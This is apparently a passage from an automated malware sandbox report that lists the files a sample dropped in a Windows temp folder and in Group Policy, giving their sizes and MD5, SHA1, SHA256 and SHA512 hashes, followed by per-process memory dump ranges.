                                                                                                                                                                50ec0a4b83b1fc3f277cabd421c4110d21d5466d

                                                                                                                                                                SHA256

                                                                                                                                                                1345b2920bae3d96f16c0282ccecad6dcd4e5d77e360fc82d7443be1f18fe11f

                                                                                                                                                                SHA512

                                                                                                                                                                1ed918844fdcdde3f8677b6b1526565fc2e7569114899871724cc415d555cca995fb3672f0416b823456bfe9ba7706554e63354ad4927ec01efbe55352bba795

                                                                                                                                                              • C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                178e42bdce36ff9ff138b84a33abbf72

                                                                                                                                                                SHA1

                                                                                                                                                                43614101a1688bb908bfb3c45055fd054358c6c4

                                                                                                                                                                SHA256

                                                                                                                                                                0e1a4f3259423c5124b3105caaa76984205f458bedfdf1ff9b8bf8f9ac783aaa

                                                                                                                                                                SHA512

                                                                                                                                                                74914d9884267e5aa32e1b95285f4becc8973160e2f412ea57acfaff86ef7dfa09f5ac990b0865929cb3db6abe814a55cbd65a2941852bfbf376007c3ea9e2b8

                                                                                                                                                              • C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                Filesize

                                                                                                                                                                6KB

                                                                                                                                                                MD5

                                                                                                                                                                582980edacaafe3ad7592cf890b1150a

                                                                                                                                                                SHA1

                                                                                                                                                                437034cfd822c29b1976030d2488d50cdc8e9ab0

                                                                                                                                                                SHA256

                                                                                                                                                                87548d957825c32433abd182579ef02085c7b71b1b46548b40215bc231912348

                                                                                                                                                                SHA512

                                                                                                                                                                e17ddd8eae381e244205ca7819f540c5de6f7f8230dd96707290f5444a87f05f69a9837aad0ee4ba4f58564576bf177387e1234201234ad9dc5abd69dd719d82

                                                                                                                                                              • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                Filesize

                                                                                                                                                                268B

                                                                                                                                                                MD5

                                                                                                                                                                a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                SHA1

                                                                                                                                                                1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                SHA256

                                                                                                                                                                9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                SHA512

                                                                                                                                                                9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                              • \Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                178e42bdce36ff9ff138b84a33abbf72

                                                                                                                                                                SHA1

                                                                                                                                                                43614101a1688bb908bfb3c45055fd054358c6c4

                                                                                                                                                                SHA256

                                                                                                                                                                0e1a4f3259423c5124b3105caaa76984205f458bedfdf1ff9b8bf8f9ac783aaa

                                                                                                                                                                SHA512

                                                                                                                                                                74914d9884267e5aa32e1b95285f4becc8973160e2f412ea57acfaff86ef7dfa09f5ac990b0865929cb3db6abe814a55cbd65a2941852bfbf376007c3ea9e2b8

                                                                                                                                                              • memory/776-512-0x0000000002C10000-0x0000000002C84000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                464KB

                                                                                                                                                              • memory/776-522-0x0000000003590000-0x000000000364F000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                764KB

                                                                                                                                                              • memory/776-168-0x0000000002240000-0x00000000022C5000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                532KB

                                                                                                                                                              • memory/776-152-0x00000000002E0000-0x00000000009D0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/776-549-0x00000000002E0000-0x00000000009D0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/776-178-0x00000000002E0000-0x00000000009D0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/776-211-0x0000000002BA0000-0x0000000002C06000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                408KB

                                                                                                                                                              • memory/1432-55-0x00000000011F0000-0x00000000018E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/1432-153-0x00000000011F0000-0x00000000018E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/1432-94-0x00000000011F0000-0x00000000018E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/1840-532-0x0000000003A70000-0x0000000004008000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                5.6MB

                                                                                                                                                              • memory/1880-147-0x00007FFE5DC70000-0x00007FFE5E65C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/1880-144-0x0000028556D70000-0x0000028556D80000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/1880-121-0x00007FFE5DC70000-0x00007FFE5E65C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/1880-122-0x0000028556D70000-0x0000028556D80000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/2900-63-0x00000000010D0000-0x00000000010E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/2900-67-0x00000000064B0000-0x0000000006516000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                408KB

                                                                                                                                                              • memory/2900-61-0x0000000072660000-0x0000000072D4E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/2900-62-0x0000000001100000-0x0000000001136000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                216KB

                                                                                                                                                              • memory/2900-64-0x00000000010D0000-0x00000000010E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/2900-65-0x0000000005DA0000-0x00000000063C8000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.2MB

                                                                                                                                                              • memory/2900-66-0x0000000005BA0000-0x0000000005BC2000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                136KB

                                                                                                                                                              • memory/2900-89-0x0000000072660000-0x0000000072D4E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/2900-85-0x00000000010D0000-0x00000000010E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/2900-84-0x00000000010D0000-0x00000000010E0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/2900-72-0x0000000006CA0000-0x0000000006D16000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                472KB

                                                                                                                                                              • memory/2900-71-0x0000000006A30000-0x0000000006A7B000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                300KB

                                                                                                                                                              • memory/2900-70-0x0000000006930000-0x000000000694C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                112KB

                                                                                                                                                              • memory/2900-69-0x0000000006580000-0x00000000068D0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                3.3MB

                                                                                                                                                              • memory/2900-68-0x00000000063D0000-0x0000000006436000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                408KB

                                                                                                                                                              • memory/3152-49-0x000002CDF8E40000-0x000002CDF8E50000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3152-20-0x00007FFE5DC70000-0x00007FFE5E65C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/3152-21-0x000002CDF8E40000-0x000002CDF8E50000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3152-22-0x000002CDF8E40000-0x000002CDF8E50000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/3152-23-0x000002CDF8B90000-0x000002CDF8BB2000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                136KB

                                                                                                                                                              • memory/3152-26-0x000002CDF9050000-0x000002CDF90C6000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                472KB

                                                                                                                                                              • memory/3152-50-0x00007FFE5DC70000-0x00007FFE5E65C000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                9.9MB

                                                                                                                                                              • memory/4572-108-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/4572-109-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/4572-112-0x0000000072660000-0x0000000072D4E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/4572-96-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/4572-95-0x00000000012B0000-0x00000000012C0000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                64KB

                                                                                                                                                              • memory/4572-93-0x0000000072660000-0x0000000072D4E000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/4672-45-0x0000000001350000-0x0000000001A40000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/4672-12-0x0000000010000000-0x0000000010598000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                5.6MB

                                                                                                                                                              • memory/4672-546-0x0000000001350000-0x0000000001A40000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                              • memory/4672-11-0x0000000001350000-0x0000000001A40000-memory.dmp

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB